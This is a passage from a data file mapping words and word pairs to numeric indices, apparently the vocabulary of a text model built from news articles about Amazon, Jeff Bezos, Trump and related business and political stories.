"chalking": 29179, "computing giant": 29180, "bloomberg estimated": 29181, "democratic control": 29182, "visa falling": 29183, "turner word": 29184, "spending amid": 29185, "bezos facing": 29186, "griffin talks": 29187, "charitable plans": 29188, "gentleman union": 29189, "interrogations trump": 29190, "times told": 29191, "law profile": 29192, "clearly read": 29193, "mukesh ambani": 29194, "growth number": 29195, "squid brains": 29196, "couldn access": 29197, "revise": 29198, "money website": 29199, "cutting checks": 29200, "owners second": 29201, "billion total": 29202, "gantry state": 29203, "selected chosen": 29204, "court battle": 29205, "mnuchin think": 29206, "refrained": 29207, "democrats strong": 29208, "molly": 29209, "j4": 29210, "dastardly": 29211, "future minister": 29212, "fondle little": 29213, "responsiveimage true": 29214, "lentol new": 29215, "religious intolerance": 29216, "category customer": 29217, "today editorial": 29218, "reduction": 29219, "nasdaq 2018": 29220, "emotions govern": 29221, "volcovici": 29222, "collects": 29223, "osun": 29224, "cortez embedded": 29225, "jobs email": 29226, "playerinstance try": 29227, "provide pretext": 29228, "executive praised": 29229, "governmental malpractice": 29230, "brown advisory": 29231, "called sleazy": 29232, "cssrules": 29233, "harsher message": 29234, "media center": 29235, "lists coupled": 29236, "starting wages": 29237, "months don": 29238, "myst": 29239, "know talk": 29240, "nashua planning": 29241, "individual temperament": 29242, "news following": 29243, "called snapdragon": 29244, "socio economic": 29245, "qanon adherent": 29246, "irish tax": 29247, "biggest company": 29248, "records according": 29249, "undeniable winners": 29250, "jquery carousel__content__item": 29251, "avalaras ipo": 29252, "bass pro": 29253, "uber investor": 29254, "garage sale": 29255, "history focusing": 29256, "water maj": 29257, "university stern": 29258, "fds vug": 29259, "paying plenty": 29260, "clashed": 29261, "utility chopra": 29262, "allknow": 29263, "humorous answers": 29264, "bright star": 29265, "workman": 29266, "blasts scores": 29267, "year gone": 29268, "streaming app": 29269, "department read": 29270, "president anti": 29271, "architect bjarke": 29272, "company amid": 29273, "image wikimedia": 29274, "everyday": 29275, "rigged political": 29276, "want amazon": 29277, "stephanie yao": 29278, "geekwire elevator": 29279, "lifestraw": 29280, "massive fallible": 29281, "include math": 29282, "shooting trump": 29283, "donations \u0142111million": 29284, "punted": 29285, "shares ishares": 29286, "sprawling tribe": 29287, "following trend": 29288, "writes garner": 29289, "congressional authority": 29290, "told cnnmoney": 29291, "jacket": 29292, "logistics 2768443": 29293, "want delivered": 29294, "steel railroads": 29295, "gonzales": 29296, "var t9x": 29297, "famous trump": 29298, "thinks survivor": 29299, "similar issues": 29300, "triggered hb40": 29301, "reported 642": 29302, "billion growth": 29303, "american indians": 29304, "rights alexis": 29305, "paper clips": 29306, "government benefits": 29307, "vice journalists": 29308, "oprah michelle": 29309, "chips provided": 29310, "banana": 29311, "bezos behemoth": 29312, "standard insider": 29313, "wsjournal": 29314, "internal strife": 29315, "littering updates": 29316, "absolutely solidifies": 29317, "comment govpredict": 29318, "approving postal": 29319, "best historic": 29320, "portable morgue": 29321, "meal deliveries": 29322, "voice teller": 29323, "startling headlines": 29324, "policy institute": 29325, "taxes paid": 29326, "communities feel": 29327, "style 320": 29328, "regulation revocation": 29329, "ulee gold": 29330, "story develops": 29331, "preface": 29332, "acco": 29333, "international waters": 29334, "president trying": 29335, "potential advantage": 29336, "chinese professionals": 29337, "jungle available": 29338, "men steve": 29339, "central florida": 29340, "fbi acting": 29341, "company uber": 29342, "taking dominant": 29343, "loses": 29344, "notorious gun": 29345, "shop according": 29346, "aesthetic design": 29347, "2017 unable": 29348, "coordinated support": 29349, "commission trump": 29350, "extortion claiming": 29351, "facebooktwittergoogle": 29352, "sweetheart delivery": 29353, "protection issues": 29354, "businessman trump": 29355, "mayer": 29356, "changes hollywood": 29357, "built wardrobe": 29358, "reflect political": 29359, "real measure": 29360, "cities": 29361, "bezos allegedly": 29362, "celebrities attracted": 29363, "trumpcrimefamily saveourfuture": 29364, "staff mick": 29365, "master degree": 29366, "outsourced": 29367, "breakingviews reuters": 29368, "disdainfully": 29369, "high performing": 29370, "women suffrage": 29371, "elks club": 29372, "finances including": 29373, "subsidies tax": 29374, "boss heartwarming": 29375, "attuned suspense": 29376, "progresses amazon": 29377, "iwas moving": 29378, "finland france": 29379, "personal essay": 29380, "author latest": 29381, "collections": 29382, "congressman great": 29383, "mitigate losses": 29384, "marrero driver": 29385, "day search": 29386, "orleans": 29387, "wasn immediately": 29388, "crc executive": 29389, "garofolo couple": 29390, "meaningful acquisitions": 29391, "christopher eccleston": 29392, "public despite": 29393, "tax administration": 29394, "joem": 29395, "cujo lewis": 29396, "ap industrial": 29397, "bulletproof": 29398, "mega caps": 29399, "inadvisable apartments": 29400, "exchanged praise": 29401, "cusp": 29402, "wing provocateurs": 29403, "editions sign": 29404, "8pm london": 29405, "shopping day": 29406, "dylan howard": 29407, "552 shares": 29408, "park south": 29409, "amazon west": 29410, "chinese operatives": 29411, "arrival gov": 29412, "news product": 29413, "9th 2016": 29414, "cola says": 29415, "optioned": 29416, "handling commerce": 29417, "elizabeth pring": 29418, "nationalist propaganda": 29419, "sleaziest": 29420, "people original": 29421, "talk luke": 29422, "tricked tycoon": 29423, "ends abruptly": 29424, "teasers": 29425, "different logistics": 29426, "munster widely": 29427, "campaign targeting": 29428, "supports mail": 29429, "financial risk": 29430, "renting computing": 29431, "khan joined": 29432, "campaign communications": 29433, "jobs website": 29434, "deal news": 29435, "consuming company": 29436, "says william": 29437, "ripping": 29438, "unqualified": 29439, "howard writes": 29440, "seize power": 29441, "revealed ami": 29442, "delayed ossenbeck": 29443, "fact check": 29444, "presidential predecessor": 29445, "donald trumps": 29446, "finance stories": 29447, "platforms program": 29448, "2017 cliff": 29449, "giant retailer": 29450, "growth driver": 29451, "service ahead": 29452, "telling chart": 29453, "ebram": 29454, "trump woke": 29455, "woo big": 29456, "obvious": 29457, "chequers": 29458, "voice order": 29459, "128gb internal": 29460, "loophole imaginable": 29461, "make public": 29462, "including business": 29463, "cosby son": 29464, "2018 vince": 29465, "reportedly referred": 29466, "services discussed": 29467, "congress acts": 29468, "reported lewandowski": 29469, "maintained close": 29470, "healthful lifestyle": 29471, "chunying chinese": 29472, "wasn completely": 29473, "stiletto": 29474, "page continued": 29475, "department zinke": 29476, "mental problems": 29477, "largest private": 29478, "rosy 2018": 29479, "cnn wolf": 29480, "healthy amazon": 29481, "essentially stopped": 29482, "house bringing": 29483, "diary digitizing": 29484, "broadcast news": 29485, "officer ami": 29486, "eftist forces": 29487, "douglas alan": 29488, "want everybody": 29489, "fork utah": 29490, "home furnishing": 29491, "klosters": 29492, "land dedicated": 29493, "increases reflect": 29494, "willem dafoe": 29495, "uch": 29496, "stressed": 29497, "wh power": 29498, "company ethic": 29499, "world rupert": 29500, "2018 survivor": 29501, "time friend": 29502, "party intermediaries": 29503, "james knight": 29504, "investigators looked": 29505, "critics credit": 29506, "change perceptions": 29507, "faang tastic": 29508, "cycles": 29509, "exped": 29510, "wal": 29511, "declared president": 29512, "opinion sides": 29513, "black male": 29514, "key client": 29515, "andyou": 29516, "566 million": 29517, "americans live": 29518, "cases lead": 29519, "rules pdf": 29520, "giving diplomacy": 29521, "old technology": 29522, "regions view": 29523, "true videopinner": 29524, "emissions university": 29525, "global child": 29526, "georgiev": 29527, "media purge": 29528, "essentially wants": 29529, "increases pressure": 29530, "night lone": 29531, "concept dates": 29532, "millennials ages": 29533, "divorce compared": 29534, "huber ryanhuber": 29535, "ny based": 29536, "routinely selects": 29537, "request amazon": 29538, "value amazon": 29539, "2017 cannes": 29540, "scholar robert": 29541, "ward hamilton": 29542, "stanley data": 29543, "books": 29544, "expects dec": 29545, "bezos joint": 29546, "abruptly cut": 29547, "mooney": 29548, "melinda boesken": 29549, "surreptitious collection": 29550, "control pad": 29551, "trump constantly": 29552, "wxyz": 29553, "banning insider": 29554, "calif electronics": 29555, "totalitarian rule": 29556, "new drc": 29557, "greed series": 29558, "questioning": 29559, "clouds": 29560, "president nicolas": 29561, "774": 29562, "story tilray": 29563, "region mccain": 29564, "political bickering": 29565, "company nearly": 29566, "auctions": 29567, "lc": 29568, "nontraditional carriers": 29569, "guys final": 29570, "nation economy": 29571, "trey gowdy": 29572, "computing surveillance": 29573, "killer fires": 29574, "ge stock": 29575, "2018 mac": 29576, "enabled meaning": 29577, "days regularly": 29578, "add value": 29579, "death morality": 29580, "missing american": 29581, "enquirer panicked": 29582, "handmaid tale": 29583, "download latest": 29584, "outside help": 29585, "melamed antitrust": 29586, "huffpo": 29587, "sourcefacebook": 29588, "disenfranchisement": 29589, "usps edward": 29590, "presidential way": 29591, "insensitive company": 29592, "small enhancements": 29593, "warns": 29594, "adroitly": 29595, "cartel drug": 29596, "cell treatment": 29597, "money politifact": 29598, "questioned michael": 29599, "elaborating noted": 29600, "strip mall": 29601, "frontline fbi": 29602, "nasty pullback": 29603, "hud secretary": 29604, "foto sourcewikipedia": 29605, "peak season": 29606, "wryly": 29607, "fight counterfeit": 29608, "review did": 29609, "nyc firm": 29610, "organization amazon": 29611, "history art": 29612, "having field": 29613, "extra gumball": 29614, "intensifying conflict": 29615, "braver": 29616, "hershey": 29617, "online information": 29618, "biggest financial": 29619, "kavanaugh effort": 29620, "interesting point": 29621, "adtech": 29622, "good job": 29623, "include unitedhealth": 29624, "fiscal": 29625, "100 times": 29626, "joining federal": 29627, "announces plans": 29628, "county white": 29629, "autostart cnn": 29630, "seal": 29631, "nazi merchandise": 29632, "jordan lebanon": 29633, "instruct secretary": 29634, "embarrassing material": 29635, "opportunity nasdaq": 29636, "unregistered": 29637, "won recapture": 29638, "certain amazon": 29639, "american journey": 29640, "bezos political": 29641, "gerrymandering": 29642, "civilians business": 29643, "old tv": 29644, "2018 wtr": 29645, "alleged conflicts": 29646, "mockingbird": 29647, "10000 reimbursements": 29648, "special early": 29649, "sharemylesson": 29650, "fusco president": 29651, "fiction ballantine": 29652, "discontinue": 29653, "incentivise shoppers": 29654, "watchers believe": 29655, "cited new": 29656, "ongoing divorce": 29657, "famotidine": 29658, "acting fairly": 29659, "ceiling beams": 29660, "children jeff": 29661, "cheated": 29662, "changed dramatically": 29663, "council decision": 29664, "representation thanks": 29665, "aesthetic": 29666, "gradually clearing": 29667, "abramson facing": 29668, "gossip websites": 29669, "bykowicz": 29670, "460k reports": 29671, "olivianuzzi": 29672, "splc opposes": 29673, "investing heavily": 29674, "rhys philip": 29675, "innovation shared": 29676, "competition practice": 29677, "role hit": 29678, "informed decisions": 29679, "drezner": 29680, "schumer sent": 29681, "facebook post": 29682, "public figure": 29683, "worsened": 29684, "michael keoshkerian": 29685, "vote cast": 29686, "requirements related": 29687, "concrete measure": 29688, "great conde": 29689, "remains true": 29690, "deforestation continues": 29691, "policies prohibit": 29692, "netflix nflx": 29693, "states openly": 29694, "usps cost": 29695, "rents pdf": 29696, "special anniversary": 29697, "represents list": 29698, "company including": 29699, "internally khosrowshahi": 29700, "5826 bought": 29701, "community group": 29702, "adequate access": 29703, "staff pecker": 29704, "measure glad": 29705, "reuters washington": 29706, "speaker told": 29707, "cocaine": 29708, "bank equities": 29709, "defied expectations": 29710, "book picks": 29711, "foods tiny": 29712, "cloudfront": 29713, "anne communicated": 29714, "rev": 29715, "hats designed": 29716, "backed private": 29717, "unheralded gem": 29718, "big prime": 29719, "package customers": 29720, "toxic brew": 29721, "summit minutes": 29722, "networking firm": 29723, "bezos american": 29724, "dam project": 29725, "rentier class": 29726, "makes bezos": 29727, "talent saying": 29728, "numerous headlines": 29729, "cambridge university": 29730, "election 2020": 29731, "social equity": 29732, "chuck yarborough": 29733, "galloway amazon": 29734, "amazon miracle": 29735, "comey higher": 29736, "presidential mansion": 29737, "testy": 29738, "democrats respectively": 29739, "biography email": 29740, "dicriscio richdicriscio": 29741, "enable javascript": 29742, "expired": 29743, "bezos accepts": 29744, "moderate democrats": 29745, "observer volkswagen": 29746, "usps price": 29747, "source oceania": 29748, "valuation sum": 29749, "21bn": 29750, "weeks following": 29751, "boarding private": 29752, "usps posted": 29753, "possessed sexually": 29754, "uss john": 29755, "play tech": 29756, "semiannual": 29757, "higher foreign": 29758, "miller share": 29759, "487": 29760, "tech essentials": 29761, "analysis engine": 29762, "google run": 29763, "huge retailer": 29764, "taken away": 29765, "year vuelta": 29766, "powerful technology": 29767, "religious organization": 29768, "slimmer trimmer": 29769, "argument steven": 29770, "lake ontario": 29771, "biden doing": 29772, "outside committees": 29773, "uk news": 29774, "recycled": 29775, "bezos bozo": 29776, "civic innovation": 29777, "company unveiled": 29778, "dangerous acts": 29779, "transportation issues": 29780, "2014 compared": 29781, "management increased": 29782, "commerce retailer": 29783, "source sentiment": 29784, "newshub": 29785, "rep debbie": 29786, "healthy woman": 29787, "buy container": 29788, "people voted": 29789, "nadal press": 29790, "major david": 29791, "taking bold": 29792, "house advisers": 29793, "risk": 29794, "2019 photographer": 29795, "chronic": 29796, "gado getty": 29797, "ample quantity": 29798, "reinforced": 29799, "health care": 29800, "related insights": 29801, "rear run": 29802, "sugar cookbook": 29803, "defense dds": 29804, "wine consumer": 29805, "marketing deal": 29806, "america giving": 29807, "zombie movie": 29808, "connected chief": 29809, "principled": 29810, "efforts amazon": 29811, "navy month": 29812, "lillian": 29813, "codex penned": 29814, "dad jumping": 29815, "companies paying": 29816, "similar plans": 29817, "waged war": 29818, "empire includes": 29819, "unemployment rates": 29820, "note left": 29821, "tense": 29822, "2018 wikipedia": 29823, "democratic welfare": 29824, "investigators initially": 29825, "neck keith": 29826, "newer businesses": 29827, "repairing": 29828, "writing luke": 29829, "delivered dramatically": 29830, "attached": 29831, "illustrated series": 29832, "administration set": 29833, "mexico welcome": 29834, "value don": 29835, "build revenue": 29836, "amazon ice": 29837, "oil giant": 29838, "highly questionable": 29839, "belt loop": 29840, "cut legislation": 29841, "herera coming": 29842, "taggart": 29843, "wallachia": 29844, "different worlds": 29845, "major marc": 29846, "varied": 29847, "court overturned": 29848, "bartlett": 29849, "expedited": 29850, "parkland florida": 29851, "photo attorney": 29852, "sock design": 29853, "monarch": 29854, "campaign possible": 29855, "newsom rushed": 29856, "labor blackfridays": 29857, "political pitfalls": 29858, "year amid": 29859, "medallion": 29860, "group announced": 29861, "partly owed": 29862, "really happy": 29863, "persuasion focuses": 29864, "projects nicknamed": 29865, "promote president": 29866, "wouldn mob": 29867, "employee pointed": 29868, "populist rhetoric": 29869, "violins": 29870, "target long": 29871, "remarkable consensus": 29872, "workers complained": 29873, "overreaction muckerman": 29874, "sister text": 29875, "entire congress": 29876, "post presented": 29877, "000 youtube": 29878, "things american": 29879, "writers squeezed": 29880, "mega hubs": 29881, "hour ago": 29882, "eu campaign": 29883, "forest hills": 29884, "nvidia reuters": 29885, "human capital": 29886, "poli": 29887, "workforce new": 29888, "talked amazon": 29889, "including rosemary": 29890, "additional acquisitions": 29891, "mexican immigrant": 29892, "service dog": 29893, "using regularly": 29894, "called pfas": 29895, "recall election": 29896, "immigrants amazon": 29897, "netflix wanderlust": 29898, "shit posting": 29899, "original bag": 29900, "union density": 29901, "sarah hemberger": 29902, "industry professionals": 29903, "abortionists votes": 29904, "itat": 29905, "union imposed": 29906, "month retail": 29907, "b1 a4ee": 29908, "city average": 29909, "negative fed": 29910, "fox majority": 29911, "bucked": 29912, "makeover": 29913, "probably safe": 29914, "floaty toy": 29915, "greenville": 29916, "bezos acknowledged": 29917, "buying counterfeit": 29918, "boris": 29919, "historic militarisation": 29920, "pretty attractive": 29921, "underpaid": 29922, "playing catch": 29923, "13scvcpele": 29924, "school victims": 29925, "ethnocide": 29926, "learning ceo": 29927, "reggie fils": 29928, "million initiative": 29929, "nonstick inner": 29930, "vans plus": 29931, "favor washingtonian": 29932, "date mackenzie": 29933, "sanchez information": 29934, "profit institutions": 29935, "ice melted": 29936, "organized sold": 29937, "maple lam": 29938, "members worldwide": 29939, "tohave": 29940, "geetha": 29941, "holds series": 29942, "week cheryl": 29943, "trading partners": 29944, "paying area": 29945, "previous proposal": 29946, "connected insiders": 29947, "traders reacted": 29948, "workers stories": 29949, "hunton": 29950, "surprisingly": 29951, "place executive": 29952, "loopholes created": 29953, "footballer": 29954, "emerging markets": 29955, "comments baseless": 29956, "natural target": 29957, "firing people": 29958, "published additional": 29959, "new tricks": 29960, "counterfeits eliminated": 29961, "rally tactics": 29962, "billion cementing": 29963, "network ap": 29964, "wealth rubenstein": 29965, "swanky limos": 29966, "story gecko": 29967, "belt sun": 29968, "little confused": 29969, "northeast posted": 29970, "prev": 29971, "chryslers": 29972, "settlement outside": 29973, "buddy pass": 29974, "latest venture": 29975, "hotel services": 29976, "giorgione": 29977, "scariest": 29978, "disposable parts": 29979, "retiring supreme": 29980, "interested share": 29981, "kennedy saw": 29982, "guy rivalry": 29983, "ordered": 29984, "makes money": 29985, "raiding money": 29986, "technology investments": 29987, "necessary save": 29988, "services digital": 29989, "alejandro delagarza": 29990, "2017 increasing": 29991, "president william": 29992, "outside analysts": 29993, "council roundtable": 29994, "difficult discussions": 29995, "sociopath hillary": 29996, "wealth levy": 29997, "contract ubhi": 29998, "existent sources": 29999, "eligible manufacturers": 30000, "yes cop": 30001, "keast": 30002, "brands surveyed": 30003, "negotiations broke": 30004, "214 points": 30005, "rule limiting": 30006, "personnel issues": 30007, "bope": 30008, "ashton": 30009, "natrol melatonin": 30010, "giving women": 30011, "amazon defended": 30012, "york offered": 30013, "magna carta": 30014, "hurthave": 30015, "monarchy": 30016, "shop directly": 30017, "reporting spectacular": 30018, "dot brands": 30019, "brexit party": 30020, "fucking madness": 30021, "repatriating profits": 30022, "startled investors": 30023, "avoided legal": 30024, "complete economic": 30025, "schlossberg page": 30026, "involved google": 30027, "require pilot": 30028, "day new": 30029, "selling greenhouse": 30030, "carlton days": 30031, "waiter suggesting": 30032, "american town": 30033, "bonds": 30034, "beyonce song": 30035, "leader apple": 30036, "state ag": 30037, "worth 85m": 30038, "hunky": 30039, "tech view": 30040, "microsoft shares": 30041, "brazil department": 30042, "resources amazon": 30043, "thompson added": 30044, "totals trump": 30045, "indiewire chief": 30046, "entertainment tell": 30047, "battle plan": 30048, "threatened investigations": 30049, "sheuvachman says": 30050, "paper prospects": 30051, "government shutdowns": 30052, "home startup": 30053, "allen contends": 30054, "descriptiontext cnn": 30055, "remove thepresident": 30056, "successful amazon": 30057, "ventures managing": 30058, "numerous racy": 30059, "000 food": 30060, "pricing decisions": 30061, "nipsey": 30062, "cuts mini": 30063, "flaps": 30064, "fund companies": 30065, "2018 hunting": 30066, "failla": 30067, "months starting": 30068, "moday": 30069, "national bomb": 30070, "including work": 30071, "cherishes outside": 30072, "fired right": 30073, "callbackobj": 30074, "shows widespread": 30075, "senator anti": 30076, "quote ms": 30077, "browser matt": 30078, "questioned brother": 30079, "unanimously eu": 30080, "prices oil": 30081, "shown signs": 30082, "choice follow": 30083, "jeff management": 30084, "picture foreign": 30085, "audience groaned": 30086, "reactid 123": 30087, "empire": 30088, "indigenous woman": 30089, "powerful network": 30090, "counsel focus": 30091, "abramowitz declined": 30092, "diversified group": 30093, "u2x": 30094, "askebay ebay": 30095, "reported fourth": 30096, "remaining packages": 30097, "uestions": 30098, "gallo getty": 30099, "bedding": 30100, "immigrants tasking": 30101, "skidded": 30102, "nationwide 2018": 30103, "owners community": 30104, "midwest flooding": 30105, "initially wrapped": 30106, "furthers": 30107, "content decisions": 30108, "gaap revenue": 30109, "tv right": 30110, "herbold": 30111, "auditor opinion": 30112, "docs": 30113, "goods promoting": 30114, "amid record": 30115, "point dow": 30116, "friends": 30117, "george say": 30118, "liberal group": 30119, "lucas nolan": 30120, "built slimmer": 30121, "delayed data": 30122, "pardon": 30123, "college phillip": 30124, "fbr": 30125, "unscathed outside": 30126, "magazine amazon": 30127, "available vought": 30128, "transport faux": 30129, "taken criticized": 30130, "sea creatures": 30131, "staff blogs": 30132, "warming": 30133, "guard action": 30134, "competitive undoubtedly": 30135, "article f1ffc8b1b28541f8a14202dff10fb148": 30136, "pentagon officials": 30137, "content officer": 30138, "division old": 30139, "abortion case": 30140, "retail mold": 30141, "wrote parts": 30142, "city penthouse": 30143, "poses eventually": 30144, "amzn did": 30145, "time democratic": 30146, "taxation issues": 30147, "man needs": 30148, "driving american": 30149, "jokers": 30150, "bzr2gluymv jacob": 30151, "gas gives": 30152, "widely viewed": 30153, "allowing post": 30154, "perfidy": 30155, "arrested near": 30156, "mark loses": 30157, "specific allegation": 30158, "involved gentle": 30159, "ami offered": 30160, "13th": 30161, "election despite": 30162, "police officer": 30163, "ways summoning": 30164, "old flame": 30165, "work smart": 30166, "quantitative": 30167, "giveaway": 30168, "candidate return": 30169, "following day": 30170, "quarter trump": 30171, "celebrity tennis": 30172, "vacancies followed": 30173, "facility sect": 30174, "marketplace refers": 30175, "eq": 30176, "cities coming": 30177, "sky chefs": 30178, "month long": 30179, "biggest budget": 30180, "started ticking": 30181, "amazon hq2": 30182, "purported jobs": 30183, "book river": 30184, "freshener": 30185, "pow bonniemurphy": 30186, "worker safety": 30187, "spokeswoman heath": 30188, "forme": 30189, "following palantir": 30190, "leaked hughes": 30191, "old lies": 30192, "confidential jon": 30193, "surveillance raised": 30194, "obama memoir": 30195, "emotional journey": 30196, "big shippers": 30197, "singled": 30198, "financial trouble": 30199, "sec papers": 30200, "prosecutors recommended": 30201, "military violence": 30202, "cbs cbs": 30203, "rubber twist": 30204, "messages ami": 30205, "skyhorse publishing": 30206, "roadside store": 30207, "older brick": 30208, "work targets": 30209, "photo op": 30210, "tac maker": 30211, "daca iran": 30212, "maccallum": 30213, "facebook won": 30214, "results impact": 30215, "pounds": 30216, "sow": 30217, "email jeff": 30218, "latest special": 30219, "highlight blake": 30220, "magnificent terrifying": 30221, "view chuck": 30222, "dropping usps": 30223, "israel security": 30224, "uc5fyvorin": 30225, "straight talking": 30226, "apa": 30227, "brodkin ars": 30228, "compel amazon": 30229, "danny madhavan": 30230, "sheltered": 30231, "z0 t9x": 30232, "time jolley": 30233, "cigarette rolling": 30234, "amazon smartphone": 30235, "president announced": 30236, "jorge": 30237, "presidential administrations": 30238, "verbal scattergun": 30239, "groups include": 30240, "toronto dominion": 30241, "include breaches": 30242, "drew new": 30243, "chicanx": 30244, "triumph hello": 30245, "constant contact": 30246, "google split": 30247, "lira spikes": 30248, "increase corporate": 30249, "benefit financially": 30250, "quarters pulled": 30251, "farc does": 30252, "children outside": 30253, "twitter campaign": 30254, "neighboring new": 30255, "awaits pickup": 30256, "partner photo": 30257, "largest retail": 30258, "company does": 30259, "oregon used": 30260, "funny new": 30261, "empower people": 30262, "headquarters bezos": 30263, "apple plan": 30264, "actually called": 30265, "leaders stand": 30266, "directors adam": 30267, "algorithmic explanations": 30268, "nahata added": 30269, "96th st": 30270, "taxpayer": 30271, "worrisome claims": 30272, "veteran strategist": 30273, "team booked": 30274, "pay playboy": 30275, "paying customer": 30276, "traitors set": 30277, "lobbying army": 30278, "pedestrian experience": 30279, "survivor win": 30280, "hurry": 30281, "claims pays": 30282, "stacking": 30283, "explainer britain": 30284, "stumbling": 30285, "core tenets": 30286, "include lifestyle": 30287, "audio book": 30288, "marketing mix": 30289, "governors particularly": 30290, "expo sent": 30291, "large shareholders": 30292, "homes amazon": 30293, "joked adding": 30294, "shields cap": 30295, "information common": 30296, "musical maestro": 30297, "urged": 30298, "retailer trumpstore": 30299, "attributable": 30300, "amazon underpays": 30301, "bob cratchit": 30302, "yes griffeth": 30303, "qualitatively": 30304, "buyerzonewidgets": 30305, "disclosures started": 30306, "john mccabe": 30307, "management reason": 30308, "political editor": 30309, "natural news": 30310, "000 bonus": 30311, "emergency claim": 30312, "divorced north": 30313, "lois": 30314, "political coup": 30315, "northwestern england": 30316, "ap interview": 30317, "amazon rise": 30318, "partisan bickering": 30319, "suprising revelation": 30320, "numerous scandals": 30321, "time explaining": 30322, "recent internet": 30323, "purchased": 30324, "earth donald": 30325, "washington seattle": 30326, "public display": 30327, "squeebles word": 30328, "exhibitions trump": 30329, "phishing accounted": 30330, "tweet president": 30331, "bail amtrak": 30332, "tattoo": 30333, "gary horcher": 30334, "immersed": 30335, "capture significantly": 30336, "sabotage": 30337, "raise mailing": 30338, "titled adapt": 30339, "elected populist": 30340, "tabloid paid": 30341, "historical memory": 30342, "does bring": 30343, "democrats dent": 30344, "mask act": 30345, "kitts": 30346, "giant grew": 30347, "york investigation": 30348, "data coverage": 30349, "hurts": 30350, "china dolce": 30351, "continue distorting": 30352, "service negotiators": 30353, "jabong expects": 30354, "ally khashoggi": 30355, "timberwolves": 30356, "economicrent asp": 30357, "feeling good": 30358, "marketing": 30359, "levin testified": 30360, "amazon credit": 30361, "geoff": 30362, "130 kilometres": 30363, "assembly district": 30364, "addictive gaming": 30365, "creek montana": 30366, "bruno ap": 30367, "individual drivers": 30368, "waterfront property": 30369, "growth outside": 30370, "33rd space": 30371, "need break": 30372, "jobs promised": 30373, "anti deforestation": 30374, "crouched": 30375, "illegal logging": 30376, "planet sanders": 30377, "companies stand": 30378, "amzn aapl": 30379, "did moser": 30380, "megacap company": 30381, "product research": 30382, "american southwest": 30383, "kara": 30384, "phenomenal growth": 30385, "rivera garza": 30386, "farmers refiners": 30387, "bezos rung": 30388, "labor offered": 30389, "reports fox": 30390, "consistent": 30391, "perennial issues": 30392, "tough negotiating": 30393, "stavridis": 30394, "including loss": 30395, "moral equivalency": 30396, "chip industry": 30397, "build blocks": 30398, "hungary": 30399, "series announced": 30400, "content twin": 30401, "radius": 30402, "clouded": 30403, "bezos toy": 30404, "honoree": 30405, "maxsa asked": 30406, "hike shipping": 30407, "edwards noted": 30408, "fuels entirely": 30409, "aid plunging": 30410, "new lendedu": 30411, "hottest": 30412, "driving bezos": 30413, "addressed mike": 30414, "expect quick": 30415, "jamie lee": 30416, "marital break": 30417, "management organizational": 30418, "politics article": 30419, "yemen war": 30420, "christine bauserman": 30421, "google retail": 30422, "story premieres": 30423, "bumbling": 30424, "wieser known": 30425, "firstamendment": 30426, "annexation": 30427, "unpleasant emergencies": 30428, "pose real": 30429, "computers electrical": 30430, "built border": 30431, "mass distribution": 30432, "hospital cbs": 30433, "thepolitical": 30434, "story rolls": 30435, "comrades analysts": 30436, "pro democracy": 30437, "successfully created": 30438, "worth picking": 30439, "logistics service": 30440, "possible second": 30441, "alternate universe": 30442, "attacking large": 30443, "billionaires elon": 30444, "green climate": 30445, "works harris": 30446, "gunpoint": 30447, "precise amazon": 30448, "staff activists": 30449, "cup players": 30450, "features designed": 30451, "getting paychecks": 30452, "comcast katherine": 30453, "different beat": 30454, "john liu": 30455, "furthest": 30456, "todd bishop": 30457, "market writes": 30458, "steeper early": 30459, "times dwight": 30460, "stupefying": 30461, "actor tim": 30462, "heather schuster": 30463, "georgia black": 30464, "japanese architect": 30465, "manageable issues": 30466, "small minorities": 30467, "group executive": 30468, "extraordinary bet": 30469, "offering counterfeit": 30470, "quick previous": 30471, "disciplinary ruling": 30472, "capital funding": 30473, "surrounded": 30474, "governor larry": 30475, "irate howorth": 30476, "cooptation": 30477, "photoshop": 30478, "reportedly amazon": 30479, "companies available": 30480, "nation income": 30481, "claims": 30482, "mailbox bookseller": 30483, "costs claiming": 30484, "equivalent": 30485, "rating plans": 30486, "aca ruling01": 30487, "different opinion": 30488, "witness massive": 30489, "kits available": 30490, "executives haven": 30491, "bernstein": 30492, "portfolio artemis": 30493, "retired supreme": 30494, "reported virginia": 30495, "amazon damage": 30496, "risk eroding": 30497, "db2 sql": 30498, "explorer web": 30499, "gently": 30500, "story democrat": 30501, "attorney jon": 30502, "recent questioning": 30503, "bezos leaving": 30504, "recognition tool": 30505, "overcome hardship": 30506, "worth pointing": 30507, "trump shaped": 30508, "2017 youtube": 30509, "brits": 30510, "additionally criticized": 30511, "marine ecosystem": 30512, "b3x r4ee": 30513, "whatis": 30514, "showed week": 30515, "specifically defined": 30516, "mcdougal hush": 30517, "forecasts concerning": 30518, "final season": 30519, "kept apart": 30520, "lips sink": 30521, "rock solid": 30522, "ourforeign": 30523, "fury inside": 30524, "finance wealthfront": 30525, "damning allegations": 30526, "emirates sent": 30527, "maitland told": 30528, "meyersohn explains": 30529, "technology based": 30530, "hand picked": 30531, "olick": 30532, "time photo": 30533, "clicker don": 30534, "term expired": 30535, "panned withdrawal": 30536, "trump impersonators": 30537, "gender discrimination": 30538, "week yesterday": 30539, "method used": 30540, "troubles georgia": 30541, "jill": 30542, "article review": 30543, "revenue names": 30544, "pretender": 30545, "be\u0430positive\u0430as": 30546, "based businessman": 30547, "commission meng": 30548, "writers musicians": 30549, "declarethe president": 30550, "personal purpose": 30551, "high wire": 30552, "bezos just": 30553, "price departed": 30554, "unequal treatment": 30555, "reinventing lead": 30556, "includes countries": 30557, "time following": 30558, "advil baby": 30559, "villains": 30560, "current level": 30561, "company growth": 30562, "sales accounting": 30563, "week service": 30564, "grech president": 30565, "annual fort": 30566, "discuss deals": 30567, "root": 30568, "television arts": 30569, "testimony florence": 30570, "exert": 30571, "charcuturie": 30572, "elections mexico": 30573, "private discussions": 30574, "deathwatch includes": 30575, "thoroughly gaslighted": 30576, "business currently": 30577, "hell wasn": 30578, "president research": 30579, "cost taxpayers": 30580, "syndicated cartoons": 30581, "whately": 30582, "trump towers": 30583, "developed": 30584, "spanish bengali": 30585, "tron reboot": 30586, "supported device": 30587, "million containers": 30588, "wouldn stop": 30589, "initially provided": 30590, "stated disdain": 30591, "retail amazon": 30592, "commerce secretary": 30593, "equate": 30594, "rebuke trump": 30595, "griffeth unconventional": 30596, "deputy prime": 30597, "imagehash server719398": 30598, "aafa": 30599, "primary problem": 30600, "probably want": 30601, "operations despite": 30602, "gone awry": 30603, "exacting retribution": 30604, "inspire oversight": 30605, "prominent critic": 30606, "product sales": 30607, "taint": 30608, "benefit new": 30609, "really successful": 30610, "york gov": 30611, "setting safety": 30612, "based approach": 